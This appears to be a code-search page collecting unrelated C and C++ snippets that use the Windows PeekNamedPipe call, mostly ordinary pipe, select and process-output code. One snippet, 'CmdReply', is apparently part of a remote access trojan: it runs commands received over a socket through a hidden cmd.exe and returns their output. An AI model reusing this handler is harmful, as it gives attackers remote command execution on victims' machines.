              if ((int)(p - szUnusedBuf) > (int)(GlobalSize(hUnusedBuf) - TAB_REPLACE_SIZE - 1))
              {
                *p++ = ' ';
              }
              else
              {
                int len = lstrlen(p);
                char *c_out=(char*)p+TAB_REPLACE_SIZE+len;
                char *c_in=(char *)p+len;
                while (len-- > 0) {
                  *c_out--=*c_in--;
                }

                lstrcpy(p, TAB_REPLACE);
                p += TAB_REPLACE_SIZE;
                *p = ' ';
              }
            }
            
            p = szUnusedBuf; // get the old left overs
            for (p2 = p; *p2;) {
              if (*p2 == '\r') {
                *p2++ = 0;
                continue;
              }
              if (*p2 == '\n') {
                *p2 = 0;
                while (!*p && p != p2) p++;
                LogMessage(p, bOEM);
                p = ++p2;
                continue;
              }
              p2 = CharNext(p2);
            }
            
            // If data was taken out from the unused buffer, move p contents to the start of szUnusedBuf
            if (p != szUnusedBuf) {
              char *p2 = szUnusedBuf;
              while (*p) *p2++ = *p++;
              *p2 = 0;
            }
          }
        }
      }
      else {
        if (g_to && GetTickCount() > dwLastOutput+g_to) {
          TerminateProcess(pi.hProcess, -1);
          lstrcpy(szRet, "timeout");
        }
        else Sleep(LOOPTIMEOUT);
      }
      GetExitCodeProcess(pi.hProcess, &dwExit);
      if (dwExit != STILL_ACTIVE) {
        PeekNamedPipe(read_stdout, 0, 0, 0, &dwRead, NULL);
      }
    }
done:
    if (log & 2) pushstring(szUnusedBuf);
    if (log & 1 && *szUnusedBuf) LogMessage(szUnusedBuf, bOEM);
    if ( dwExit == STATUS_ILLEGAL_INSTRUCTION )
      lstrcpy(szRet, "error");
    if (!szRet[0]) wsprintf(szRet,"%d",dwExit);
    pushstring(szRet);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(newstdout);
    CloseHandle(read_stdout);
    CloseHandle(newstdin);
    CloseHandle(read_stdin);
    *(pExec-2) = '\0'; // skip space and quote
    DeleteFile(executor);
    GlobalFree(g_exec);
    if (log) {
      GlobalUnlock(hUnusedBuf);
      GlobalFree(hUnusedBuf);
    }
  }
}
Пример #18
0
/**
 * Win32 select() will only work with sockets, so we roll our own
 * implementation here.
 * - If you supply only sockets, this simply passes through to winsock select().
 * - If you supply file handles, there is no way to distinguish between
 *   ready for read/write or OOB, so any set in which the handle is found will
 *   be marked as ready.
 * - If you supply a mixture of handles and sockets, the system will interleave
 *   calls between select() and WaitForMultipleObjects(). The time slicing may
 *   cause this function call to take up to 100 ms longer than you specified.
 * - Pipes are not checked for writability or errors (errno = ENOSYS)
 */
int _win_select(int max_fd, fd_set * rfds, fd_set * wfds, fd_set * efds,
                const struct timeval *tv)
{
  DWORD ms_total, limit;
  HANDLE handles[MAXIMUM_WAIT_OBJECTS], hPipes[MAXIMUM_WAIT_OBJECTS];
  int handle_slot_to_fd[MAXIMUM_WAIT_OBJECTS];
  int n_handles, i, iPipes;
  fd_set sock_read, sock_write, sock_except;
  fd_set aread, awrite, aexcept;
  int sock_max_fd;
  struct timeval tvslice;
  int retcode;

#define SAFE_FD_ISSET(fd, set)	(set != NULL && FD_ISSET(fd, set))

  n_handles = 0;
  sock_max_fd = -1;
  iPipes = 0;

  /* calculate how long we need to wait in milliseconds */
  if(tv == NULL)
    ms_total = INFINITE;
  else
  {
    ms_total = tv->tv_sec * 1000;
    ms_total += tv->tv_usec / 1000;
  }

  /* select() may be used as a portable way to sleep */
  if (!(rfds || wfds || efds))
  {
    Sleep(ms_total);

    return 0;
  }

  FD_ZERO(&sock_read);
  FD_ZERO(&sock_write);
  FD_ZERO(&sock_except);

  /* build an array of handles for non-sockets */
  for(i = 0; i < max_fd; i++)
  {
    if(SAFE_FD_ISSET(i, rfds) || SAFE_FD_ISSET(i, wfds) ||
       SAFE_FD_ISSET(i, efds))
    {
      unsigned long ulVal;

      if (ioctlsocket(i, FIONREAD, &ulVal) != SOCKET_ERROR && _get_osfhandle(i) == -1) 
      {
        /* socket */
        if(SAFE_FD_ISSET(i, rfds))
          FD_SET(i, &sock_read);

        if(SAFE_FD_ISSET(i, wfds))
          FD_SET(i, &sock_write);

        if(SAFE_FD_ISSET(i, efds))
          FD_SET(i, &sock_except);

        if(i > sock_max_fd)
          sock_max_fd = i;
      }
      else
      {
        if (GetFileType((HANDLE) i) == FILE_TYPE_PIPE)
          hPipes[iPipes++] = (HANDLE) i;  /* Pipe */
        else
        {
          handles[n_handles] = (HANDLE) _get_osfhandle(i);
          if ((DWORD) handles[n_handles] == 0xffffffff)
            handles[n_handles] = (HANDLE) i;
          handle_slot_to_fd[n_handles] = i;
          n_handles++;
        }
      }
    }
  }

  if((n_handles == 0) && (iPipes == 0))
  {
    /* plain sockets only - let winsock handle the whole thing */
    if ((retcode = select(max_fd, rfds, wfds, efds, tv)) == SOCKET_ERROR)
      SetErrnoFromWinsockError(WSAGetLastError());
    return retcode;  
  }

  /* mixture of handles and sockets; lets multiplex between
   * winsock and waiting on the handles */

  FD_ZERO(&aread);
  FD_ZERO(&awrite);
  FD_ZERO(&aexcept);

  limit = GetTickCount() + ms_total;
  do
  {
    retcode = 0;

    if(sock_max_fd >= 0)
    {
      /* overwrite the zero'd sets here; the select call
       * will clear those that are not active */
      aread = sock_read;
      awrite = sock_write;
      aexcept = sock_except;

      tvslice.tv_sec = 0;
      tvslice.tv_usec = 100000;

      if ((retcode = select(sock_max_fd + 1, &aread, &awrite, &aexcept,
                            &tvslice)) == SOCKET_ERROR)
      {
        SetErrnoFromWinsockError(WSAGetLastError());

        return -1;
      }
    }

    if(n_handles > 0)
    {
      /* check handles */
      DWORD wret;

      wret =
        MsgWaitForMultipleObjects(n_handles, handles, FALSE,
                                  retcode > 0 ? 0 : 100, QS_ALLEVENTS);

      if(wret == WAIT_TIMEOUT)
      {
        /* set retcode to 0; this is the default.
         * select() may have set it to something else,
         * in which case we leave it alone, so this branch
         * does nothing */
        ;
      }
      else if(wret == WAIT_FAILED)
      {
        SetErrnoFromWinError(GetLastError());

        return -1;
      }
      else
      {
        for(i = 0; i < n_handles; i++)
        {
          if(WAIT_OBJECT_0 == WaitForSingleObject(handles[i], 0))
          {
            if(SAFE_FD_ISSET(handle_slot_to_fd[i], rfds))
            {
              FD_SET(handle_slot_to_fd[i], &aread);
            }

            if(SAFE_FD_ISSET(handle_slot_to_fd[i], wfds))
              FD_SET(handle_slot_to_fd[i], &awrite);

            if(SAFE_FD_ISSET(handle_slot_to_fd[i], efds))
              FD_SET(handle_slot_to_fd[i], &aexcept);

            retcode++;
          }
        }
      }
    }

    /* Poll Pipes */
    for(i = 0; i < iPipes; i++)
    {
      DWORD dwBytes;
      if(SAFE_FD_ISSET(hPipes[i], rfds))
      {
	    if (! PeekNamedPipe(hPipes[i], NULL, 0, NULL, &dwBytes, NULL))
	    {
	      retcode = -1;
	      SetErrnoFromWinError(GetLastError());
	    }
	    else if (dwBytes)
	    {
	      FD_SET((int) hPipes[i], &aread);
	      retcode++;
	    }
      }
      else if (SAFE_FD_ISSET(hPipes[i], wfds) || SAFE_FD_ISSET(hPipes[i], efds))
      {
        errno = ENOSYS;
        return -1;  /* Not implemented */
      }
    }
  }
  while(retcode == 0 && (ms_total == INFINITE || GetTickCount() < limit));

  if(rfds)
    *rfds = aread;

  if(wfds)
    *wfds = awrite;

  if(efds)
    *efds = aexcept;

  return retcode;
}
Пример #19
0
int ShellRead(SHELL_PARAM* param, int timeout)
{
#ifndef WIN32
    int ret;
    fd_set fds;
    struct timeval tv;
#endif

    if (!param->buffer || param->iBufferSize <= 0)
    {
        if (param->flags & SF_ALLOC)
        {
            param->buffer=malloc(SF_BUFFER_SIZE);
            param->iBufferSize=SF_BUFFER_SIZE;
        }
        else
        {
            return -1;
        }
    }

#ifndef WIN32
    FD_ZERO(&fds);
    FD_SET(param->fdRead,&fds);
    tv.tv_sec = timeout / 1000;
    tv.tv_usec = (timeout - tv.tv_sec * 1000) * 1000;
#endif

    if (!(param->flags & SF_READ_STDOUT_ALL)) {
#ifdef WIN32
        DWORD bytes;
        BOOL success;
        DWORD start = GetTickCount();
        do
        {
            if (!PeekNamedPipe(param->fdRead,0,0,0,&bytes,0))
                return -1;
        } while (bytes == 0
                 && WaitForSingleObject(param->piProcInfo.hProcess, 50) == WAIT_TIMEOUT && GetTickCount() - start < (DWORD)timeout);
        if (bytes == 0)
            return 0;

        param->locked++;
        success =ReadFile(param->fdRead, param->buffer, param->iBufferSize - 1, &bytes, NULL);
        param->locked--;
        if (!success)
            return -1;
        param->buffer[bytes]=0;
        return bytes;
#else
        if (select(param->fdRead+1,&fds,NULL,NULL,&tv) < 1)
            return -1;
        ret=read(param->fdRead,param->buffer, param->iBufferSize - 1);
        if (ret<1)
            return -1;
        param->buffer[ret] = 0;
        return ret;
#endif
    } else {
#ifdef WIN32
        size_t offset = 0;
        int fSuccess;
        for(;;)
        {
            DWORD bytes;
            DWORD start = GetTickCount();
            do
            {
                if (!PeekNamedPipe(param->fdRead,0,0,0,&bytes,0))
                    return -1;
            } while (bytes == 0
                     && WaitForSingleObject(param->piProcInfo.hProcess, 50) == WAIT_TIMEOUT && GetTickCount() - start < (DWORD)timeout);
            if (bytes == 0)
                return 0;

            if (offset + bytes + 1 >= (size_t)param->iBufferSize)
            {
                if (param->flags & SF_ALLOC)
                {
                    param->iBufferSize = max(param->iBufferSize * 2, (int)(offset + bytes + 1));
                    param->buffer = realloc(param->buffer, param->iBufferSize);
                }
                else
                {
                    break;
                }
            }
            param->locked++;
            fSuccess = ReadFile(param->fdRead, param->buffer + offset, param->iBufferSize - 1 - offset, &bytes, NULL);
            param->locked--;
            if (!fSuccess)
                break;
            offset += bytes;
        }
        param->buffer[offset]=0;
        return offset;
#endif
    }
}
Пример #20
0
//---------------------------------------------------------------------------
void __fastcall TWinInteractiveCustomCommand::Execute(
  const UnicodeString & Command, UnicodeString & Value)
{
  // inspired by
  // http://forum.codecall.net/topic/72472-execute-a-console-program-and-capture-its-output/
  HANDLE StdOutOutput;
  HANDLE StdOutInput;
  HANDLE StdInOutput;
  HANDLE StdInInput;
  SECURITY_ATTRIBUTES SecurityAttributes;
  SecurityAttributes.nLength = sizeof(SecurityAttributes);
  SecurityAttributes.lpSecurityDescriptor = NULL;
  SecurityAttributes.bInheritHandle = TRUE;
  try
  {
    if (!CreatePipe(&StdOutOutput, &StdOutInput, &SecurityAttributes, 0))
    {
      throw Exception(FMTLOAD(SHELL_PATTERN_ERROR, (Command, L"out")));
    }
    else if (!CreatePipe(&StdInOutput, &StdInInput, &SecurityAttributes, 0))
    {
      throw Exception(FMTLOAD(SHELL_PATTERN_ERROR, (Command, L"in")));
    }
    else
    {
      STARTUPINFO StartupInfo;
      PROCESS_INFORMATION ProcessInformation;

      FillMemory(&StartupInfo, sizeof(StartupInfo), 0);
      StartupInfo.cb = sizeof(StartupInfo);
      StartupInfo.wShowWindow = SW_HIDE;
      StartupInfo.hStdInput = StdInOutput;
      StartupInfo.hStdOutput = StdOutInput;
      StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

      if (!CreateProcess(NULL, Command.c_str(), &SecurityAttributes, &SecurityAttributes,
            TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &StartupInfo, &ProcessInformation))
      {
        throw Exception(FMTLOAD(SHELL_PATTERN_ERROR, (Command, L"process")));
      }
      else
      {
        try
        {
          // wait until the console program terminated
          bool Running = true;
          while (Running)
          {
            switch (WaitForSingleObject(ProcessInformation.hProcess, 200))
            {
              case WAIT_TIMEOUT:
                Application->ProcessMessages();
                break;

              case WAIT_OBJECT_0:
                Running = false;
                break;

              default:
                throw Exception(FMTLOAD(SHELL_PATTERN_ERROR, (Command, L"wait")));
            }
          }

          char Buffer[1024];
          unsigned long Read;
          while (PeekNamedPipe(StdOutOutput, NULL, 0, NULL, &Read, NULL) &&
                 (Read > 0))

          {
            if (!ReadFile(StdOutOutput, &Buffer, Read, &Read, NULL))
            {
              throw Exception(FMTLOAD(SHELL_PATTERN_ERROR, (Command, L"read")));
            }
            else if (Read > 0)
            {
              Value += UnicodeString(AnsiString(Buffer, Read));
            }
          }

          // trim trailing cr/lf
          Value = TrimRight(Value);
        }
        __finally
        {
          CloseHandle(ProcessInformation.hProcess);
          CloseHandle(ProcessInformation.hThread);
        }
      }
    }
  }
  __finally
  {
    if (StdOutOutput != INVALID_HANDLE_VALUE)
    {
      CloseHandle(StdOutOutput);
    }
    if (StdOutInput != INVALID_HANDLE_VALUE)
    {
      CloseHandle(StdOutInput);
    }
    if (StdInOutput != INVALID_HANDLE_VALUE)
    {
      CloseHandle(StdInOutput);
    }
    if (StdInInput != INVALID_HANDLE_VALUE)
    {
      CloseHandle(StdInInput);
    }
  }
}
Пример #21
0
static CURLcode telnet_do(struct connectdata *conn, bool *done)
{
  CURLcode code;
  struct SessionHandle *data = conn->data;
  curl_socket_t sockfd = conn->sock[FIRSTSOCKET];
#ifdef USE_WINSOCK
  HMODULE wsock2;
  WSOCK2_FUNC close_event_func;
  WSOCK2_FUNC create_event_func;
  WSOCK2_FUNC event_select_func;
  WSOCK2_FUNC enum_netevents_func;
  WSAEVENT event_handle;
  WSANETWORKEVENTS events;
  HANDLE stdin_handle;
  HANDLE objs[2];
  DWORD  obj_count;
  DWORD  wait_timeout;
  DWORD waitret;
  DWORD readfile_read;
#else
  int interval_ms;
  struct pollfd pfd[2];
#endif
  ssize_t nread;
  bool keepon = TRUE;
  char *buf = data->state.buffer;
  struct TELNET *tn;

  *done = TRUE; /* unconditionally */

  code = init_telnet(conn);
  if(code)
    return code;

  tn = (struct TELNET *)data->state.proto.telnet;

  code = check_telnet_options(conn);
  if(code)
    return code;

#ifdef USE_WINSOCK
  /*
  ** This functionality only works with WinSock >= 2.0.  So,
  ** make sure have it.
  */
  code = check_wsock2(data);
  if(code)
    return code;

  /* OK, so we have WinSock 2.0.  We need to dynamically */
  /* load ws2_32.dll and get the function pointers we need. */
  wsock2 = LoadLibrary("WS2_32.DLL");
  if(wsock2 == NULL) {
    failf(data,"failed to load WS2_32.DLL (%d)", ERRNO);
    return CURLE_FAILED_INIT;
  }

  /* Grab a pointer to WSACreateEvent */
  create_event_func = GetProcAddress(wsock2,"WSACreateEvent");
  if(create_event_func == NULL) {
    failf(data,"failed to find WSACreateEvent function (%d)",
          ERRNO);
    FreeLibrary(wsock2);
    return CURLE_FAILED_INIT;
  }

  /* And WSACloseEvent */
  close_event_func = GetProcAddress(wsock2,"WSACloseEvent");
  if(close_event_func == NULL) {
    failf(data,"failed to find WSACloseEvent function (%d)",
          ERRNO);
    FreeLibrary(wsock2);
    return CURLE_FAILED_INIT;
  }

  /* And WSAEventSelect */
  event_select_func = GetProcAddress(wsock2,"WSAEventSelect");
  if(event_select_func == NULL) {
    failf(data,"failed to find WSAEventSelect function (%d)",
          ERRNO);
    FreeLibrary(wsock2);
    return CURLE_FAILED_INIT;
  }

  /* And WSAEnumNetworkEvents */
  enum_netevents_func = GetProcAddress(wsock2,"WSAEnumNetworkEvents");
  if(enum_netevents_func == NULL) {
    failf(data,"failed to find WSAEnumNetworkEvents function (%d)",
          ERRNO);
    FreeLibrary(wsock2);
    return CURLE_FAILED_INIT;
  }

  /* We want to wait for both stdin and the socket. Since
  ** the select() function in winsock only works on sockets
  ** we have to use the WaitForMultipleObjects() call.
  */

  /* First, create a sockets event object */
  event_handle = (WSAEVENT)create_event_func();
  if(event_handle == WSA_INVALID_EVENT) {
    failf(data,"WSACreateEvent failed (%d)", SOCKERRNO);
    FreeLibrary(wsock2);
    return CURLE_FAILED_INIT;
  }

  /* The get the Windows file handle for stdin */
  stdin_handle = GetStdHandle(STD_INPUT_HANDLE);

  /* Create the list of objects to wait for */
  objs[0] = event_handle;
  objs[1] = stdin_handle;

  /* Tell winsock what events we want to listen to */
  if(event_select_func(sockfd, event_handle, FD_READ|FD_CLOSE) == SOCKET_ERROR) {
    close_event_func(event_handle);
    FreeLibrary(wsock2);
    return 0;
  }

  /* If stdin_handle is a pipe, use PeekNamedPipe() method to check it,
     else use the old WaitForMultipleObjects() way */
  if(GetFileType(stdin_handle) == FILE_TYPE_PIPE) {
    /* Don't wait for stdin_handle, just wait for event_handle */
    obj_count = 1;
    /* Check stdin_handle per 100 milliseconds */
    wait_timeout = 100;
  } else {
    obj_count = 2;
    wait_timeout = INFINITE;
  }

  /* Keep on listening and act on events */
  while(keepon) {
    waitret = WaitForMultipleObjects(obj_count, objs, FALSE, wait_timeout);
    switch(waitret) {
    case WAIT_TIMEOUT:
    {
      while(1) {
        if(!PeekNamedPipe(stdin_handle, NULL, 0, NULL, &readfile_read, NULL)) {
          keepon = FALSE;
	  code = CURLE_READ_ERROR;
          break;
        }

        if(!readfile_read)
          break;

        if(!ReadFile(stdin_handle, buf, sizeof(data->state.buffer),
                     &readfile_read, NULL)) {
          keepon = FALSE;
	  code = CURLE_READ_ERROR;
          break;
        }

        code = send_telnet_data(conn, buf, readfile_read);
	if(code) {
          keepon = FALSE;
	  break;
	}
      }
    }
    break;

    case WAIT_OBJECT_0 + 1:
    {
      if(!ReadFile(stdin_handle, buf, sizeof(data->state.buffer),
                   &readfile_read, NULL)) {
        keepon = FALSE;
	code = CURLE_READ_ERROR;
        break;
      }

      code = send_telnet_data(conn, buf, readfile_read);
      if(code) {
	keepon = FALSE;
	break;
      }
    }
    break;

    case WAIT_OBJECT_0:
      if(enum_netevents_func(sockfd, event_handle, &events)
         != SOCKET_ERROR) {
        if(events.lNetworkEvents & FD_READ) {
          /* This reallu OUGHT to check its return code. */
          (void)Curl_read(conn, sockfd, buf, BUFSIZE - 1, &nread);

          telrcv(conn, (unsigned char *)buf, nread);

          fflush(stdout);

          /* Negotiate if the peer has started negotiating,
             otherwise don't. We don't want to speak telnet with
             non-telnet servers, like POP or SMTP. */
          if(tn->please_negotiate && !tn->already_negotiated) {
            negotiate(conn);
            tn->already_negotiated = 1;
          }
        }

        if(events.lNetworkEvents & FD_CLOSE) {
          keepon = FALSE;
        }
      }
      break;
    }
  }

  /* We called WSACreateEvent, so call WSACloseEvent */
  if(close_event_func(event_handle) == FALSE) {
    infof(data,"WSACloseEvent failed (%d)", SOCKERRNO);
  }

  /* "Forget" pointers into the library we're about to free */
  create_event_func = NULL;
  close_event_func = NULL;
  event_select_func = NULL;
  enum_netevents_func = NULL;

  /* We called LoadLibrary, so call FreeLibrary */
  if(!FreeLibrary(wsock2))
    infof(data,"FreeLibrary(wsock2) failed (%d)", ERRNO);
#else
  pfd[0].fd = sockfd;
  pfd[0].events = POLLIN;
  pfd[1].fd = 0;
  pfd[1].events = POLLIN;
  interval_ms = 1 * 1000;

  while(keepon) {
    switch (Curl_poll(pfd, 2, interval_ms)) {
    case -1:                    /* error, stop reading */
      keepon = FALSE;
      continue;
    case 0:                     /* timeout */
      break;
    default:                    /* read! */
      if(pfd[1].revents & POLLIN) { /* read from stdin */
        nread = read(0, buf, 255);
        code = send_telnet_data(conn, buf, nread);
	if(code) {
          keepon = FALSE;
	  break;
	}
      }

      if(pfd[0].revents & POLLIN) {
        /* This OUGHT to check the return code... */
        (void)Curl_read(conn, sockfd, buf, BUFSIZE - 1, &nread);

        /* if we receive 0 or less here, the server closed the connection and
           we bail out from this! */
        if(nread <= 0) {
          keepon = FALSE;
          break;
        }

        telrcv(conn, (unsigned char *)buf, nread);

        /* Negotiate if the peer has started negotiating,
           otherwise don't. We don't want to speak telnet with
           non-telnet servers, like POP or SMTP. */
        if(tn->please_negotiate && !tn->already_negotiated) {
          negotiate(conn);
          tn->already_negotiated = 1;
        }
      }
    }
    if(data->set.timeout) {
      struct timeval now;           /* current time */
      now = Curl_tvnow();
      if(Curl_tvdiff(now, conn->created) >= data->set.timeout) {
        failf(data, "Time-out");
        code = CURLE_OPERATION_TIMEDOUT;
        keepon = FALSE;
      }
    }
  }
#endif
  /* mark this as "no further transfer wanted" */
  Curl_setup_transfer(conn, -1, -1, FALSE, NULL, -1, NULL);

  return code;
}
Пример #22
0
static size_t read_stdin(char *buf, size_t size)
{
   DWORD i;
   DWORD has_read = 0;
   DWORD avail = 0;
   bool echo = false;
   HANDLE hnd = GetStdHandle(STD_INPUT_HANDLE);

   if (hnd == INVALID_HANDLE_VALUE)
      return 0;

   /* Check first if we're a pipe
    * (not console). */

   /* If not a pipe, check if we're running in a console. */
   if (!PeekNamedPipe(hnd, NULL, 0, NULL, &avail, NULL))
   {
      INPUT_RECORD recs[256];
      bool has_key = false;
      DWORD mode = 0, has_read = 0;

      if (!GetConsoleMode(hnd, &mode))
         return 0;

      if ((mode & (ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT))
            && !SetConsoleMode(hnd,
               mode & ~(ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT)))
         return 0;

      /* Win32, Y U NO SANE NONBLOCK READ!? */
      if (!PeekConsoleInput(hnd, recs,
               sizeof(recs) / sizeof(recs[0]), &has_read))
         return 0;

      for (i = 0; i < has_read; i++)
      {
         /* Very crude, but should get the job done. */
         if (recs[i].EventType == KEY_EVENT &&
               recs[i].Event.KeyEvent.bKeyDown &&
               (isgraph(recs[i].Event.KeyEvent.wVirtualKeyCode) ||
                recs[i].Event.KeyEvent.wVirtualKeyCode == VK_RETURN))
         {
            has_key = true;
            echo    = true;
            avail   = size;
            break;
         }
      }

      if (!has_key)
      {
         FlushConsoleInputBuffer(hnd);
         return 0;
      }
   }

   if (!avail)
      return 0;

   if (avail > size)
      avail = size;

   if (!ReadFile(hnd, buf, avail, &has_read, NULL))
      return 0;

   for (i = 0; i < has_read; i++)
      if (buf[i] == '\r')
         buf[i] = '\n';

   /* Console won't echo for us while in non-line mode,
    * so do it manually ... */
   if (echo)
   {
      HANDLE hnd_out = GetStdHandle(STD_OUTPUT_HANDLE);
      if (hnd_out != INVALID_HANDLE_VALUE)
      {
         DWORD has_written;
         WriteConsole(hnd_out, buf, has_read, &has_written, NULL);
      }
   }

   return has_read;
}
Пример #23
0
// thread for state machine
DWORD WINAPI AI::_AI(LPVOID lpBuffer)
{
	Game& game = Game::inst();
	char buf[BUFSIZE] = {0};
	memset(buf, 0, sizeof(buf));
	int depth = 1;
	static unsigned int aiLevel = 99;

	Sleep(500);

	for(int i=0;m_active;++i){
		GetExitCodeProcess(m_pi.hProcess, &m_exit);
		if(m_exit != STILL_ACTIVE){
			m_active = false;
			printf("NOT ACTIVE...quitting\n");
			//break;
		}
		
		// check for output, and obtain the bread
		PeekNamedPipe(m_hRead, buf, BUFSIZE, &m_bread, &m_avail, NULL);
		if(m_bread > 0){
			for(;;){
				memset(buf, 0, sizeof(buf));

				ReadFile(m_hRead, buf, BUFSIZE, &m_bread, NULL);
				printf("%s", buf);
				if(!game.getTurn())
					parseAIMove(buf);

				Sleep(100);

				PeekNamedPipe(m_hRead, buf, BUFSIZE, &m_bread, &m_avail, NULL);
				if(m_bread > 0)
					continue;
				else
					break;
			}
		}

		if(m_engine == ENGINE_STOCKFISH){
			//sprintf(buf, (i == 0) ? "uci " : (i == 1) ? "isready " : (i == 2) ? "" : (i == 3) ? "" : "");
			sprintf(buf, (i == 0) ? "uci " : "");
		}
		else{
			sprintf(buf, (i == 0) ? "uci " : (i == 1) ? "isready " : (i == 2) ? "setoption name Hash value 512 " : (i == 3) ? "setoption name UCI_LimitStrength value true " : "");
		}
		if(m_sendMove == true){
			strcat(m_pos, m_lastUserMove);
			strcat(m_pos, " ");

			WriteFile(m_hWrite, m_pos, sizeof(m_pos), &m_bread, NULL);
			WriteFile(m_hWrite, "\n", 1, &m_bread, NULL);

			//sprintf(buf, "go wtime %ld btime %ld depth %d ", g_whiteTime, g_blackTime, m_searchDepth);
			while(game.isAnimating())
				Sleep(50);

			// calculate depth to search
			if(m_engine != ENGINE_STOCKFISH){
				if(aiLevel != game.getAILevel()){
					aiLevel = game.getAILevel();
					switch(aiLevel){
					case Game::CHILD:
						depth = 1;
						sprintf(buf, "setoption name UCI_Elo value 1000 "); // it's questionable whether or not this works
						break;

					case Game::WALRUS:
						depth = 3;
						sprintf(buf, "setoption name UCI_Elo value 1200 ");
						break;

					case Game::LION:
					default:
						depth = 5;
						sprintf(buf, "setoption name UCI_Elo value 1500 ");
						break;

					case Game::RAPTOR:
						depth = 10;
						sprintf(buf, "setoption name UCI_Elo value 1800 ");
						break;

					case Game::GRANDMASTER:
						depth = 15;
						sprintf(buf, "setoption name UCI_Elo value 2900 ");
						break;
					}

					WriteFile(m_hWrite, buf, sizeof(buf), &m_bread, NULL);
					WriteFile(m_hWrite, "\n", 1, &m_bread, NULL);
				}
			}

			//sprintf(buf, "go wtime %ld btime %ld ", game.getTime(WHITE), game.getTime(BLACK));
			sprintf(buf, "go wtime %ld btime %ld depth %d ", game.getTime(WHITE), game.getTime(BLACK), depth);
			WriteFile(m_hWrite, buf, sizeof(buf), &m_bread, NULL);
			WriteFile(m_hWrite, "\n", 1, &m_bread, NULL);

			//printf("NEW POS: [%s]\n", m_pos);

			m_sendMove = false;
			game.setTurn(BLACK);
		}
		else{
			WriteFile(m_hWrite, buf, sizeof(buf), &m_bread, NULL);
			WriteFile(m_hWrite, "\n", 1, &m_bread, NULL);

			if(i > 100000)
				i = 6;
		}

		Sleep(500);
		
		//if(game.getTurn() == WHITE)
			//;///printf("Waiting for user to move...\n");
	}

	cleanup();

	ExitThread(0);
}
Пример #24
0
//////////////////////////////////////////////////////////////////////////
//响应CMD消息
//////////////////////////////////////////////////////////////////////////
BOOL CmdReply(SOCKET sockfd,int dwRecvSize)
{
	SECURITY_ATTRIBUTES	sa;
	sa.nLength = sizeof(sa);
	sa.lpSecurityDescriptor = 0;
	sa.bInheritHandle = TRUE;

	HANDLE hReadPipe1,hWritePipe1;
	//单管道通信
	CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);

	STARTUPINFO	si;
	memset(&si,0,sizeof(si));
	GetStartupInfo(&si);

	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;
	//*si.hStdInput = hReadPipe2;*/
	si.hStdOutput = si.hStdError = hWritePipe1;

	char szCmd[MAXLENGTH] = "cmd.exe /c";
	int dwSize = ((RatProto*)szRecvCmd)->RatLen - sizeof(RatProto);
	strncat(szCmd,szRecvCmd+sizeof(RatProto),dwSize);

	PROCESS_INFORMATION	pInfo;

	memset(&pInfo,0,sizeof(PROCESS_INFORMATION));

	CreateProcessA(NULL,szCmd,NULL,NULL,1,0,NULL,NULL,&si,&pInfo);


	memset(szCmd,0,MAXLENGTH);
	int	dwRead;
	int nRet = PeekNamedPipe(hReadPipe1,szCmd,MAXLENGTH,(LPDWORD)&dwRead,NULL,NULL);

	for (int i=0;i<5&&dwRead==0;i++)
	{
		Sleep(100);
		nRet = PeekNamedPipe(hReadPipe1,szCmd,MAXLENGTH,(LPDWORD)&dwRead,NULL,NULL);
	}

	if (dwRead)
	{
		nRet = ReadFile(hReadPipe1,szCmd,dwRead,(LPDWORD)&dwRead,0);
		if (!nRet)
		{
			sprintf(szCmd,"%s","CMD COMMAND EXCUTE ERROR!");
		}		
	}

	dwSize = sizeof(RatProto)+strlen(szCmd)+1;
	char* pData = (char*)malloc(dwSize);
	if (pData)
	{
		RatProto ratPro;
		ratPro.RatId = CMD_REPLY;
		ratPro.RatLen = dwSize;
		memcpy(pData,&ratPro,sizeof(RatProto));
		pData += sizeof(RatProto);
		sprintf(pData,"%s",szCmd);
		pData -= sizeof(RatProto);
		SendCmd(sockfd,pData,dwSize);
		free(pData);
		return TRUE;
	}
	else
	{
		return FALSE;
	}
}
Пример #25
0
/* Monitor a pipe for input */
void read_pipe_poll (HANDLE hStop, void *_data)
{
  DWORD         res;
  DWORD         event;
  DWORD         n;
  LPSELECTQUERY iterQuery;
  LPSELECTDATA  lpSelectData;
  DWORD         i;
  DWORD         wait;

  /* Poll pipe */
  event = 0;
  n = 0;
  lpSelectData = (LPSELECTDATA)_data;
  wait = 1;

  DEBUG_PRINT("Checking data pipe");
  while (lpSelectData->EState == SELECT_STATE_NONE)
  {
    for (i = 0; i < lpSelectData->nQueriesCount; i++)
    {
      iterQuery = &(lpSelectData->aQueries[i]);
      res = PeekNamedPipe(
          iterQuery->hFileDescr, 
          NULL, 
          0, 
          NULL, 
          &n, 
          NULL);
      if (check_error(lpSelectData, 
            (res == 0) && 
            (GetLastError() != ERROR_BROKEN_PIPE)))
      {
        break;
      };

      if ((n > 0) || (res == 0))
      {
        lpSelectData->EState = SELECT_STATE_SIGNALED;
        select_data_result_add(lpSelectData, iterQuery->EMode, iterQuery->lpOrigIdx);
      };
    };

    /* Alas, nothing except polling seems to work for pipes.
       Check the state & stop_worker_event every 10 ms 
     */
    if (lpSelectData->EState == SELECT_STATE_NONE)
    {
      event = WaitForSingleObject(hStop, wait);

      /* Fast start: begin to wait 1, 2, 4, 8 and then 10 ms.
       * If we are working with the output of a program there is
       * a chance that one of the 4 first calls succeed.
       */
      wait = 2 * wait;
      if (wait > 10) 
      {
        wait = 10;
      };
      if (event == WAIT_OBJECT_0 || check_error(lpSelectData, event == WAIT_FAILED))
      {
        break;
      }
    }
  }
  DEBUG_PRINT("Finish checking data on pipe");
}
Пример #26
0
static DWORD WINAPI select_ws_wait_thread(LPVOID lpParameter)
{
  struct select_ws_wait_data *data;
  HANDLE handle, handles[2];
  INPUT_RECORD inputrecord;
  LARGE_INTEGER size, pos;
  DWORD type, length;

  /* retrieve handles from internal structure */
  data = (struct select_ws_wait_data *) lpParameter;
  if(data) {
    handle = data->handle;
    handles[0] = data->event;
    handles[1] = handle;
    free(data);
  }
  else
    return -1;

  /* retrieve the type of file to wait on */
  type = GetFileType(handle);
  switch(type) {
    case FILE_TYPE_DISK:
       /* The handle represents a file on disk, this means:
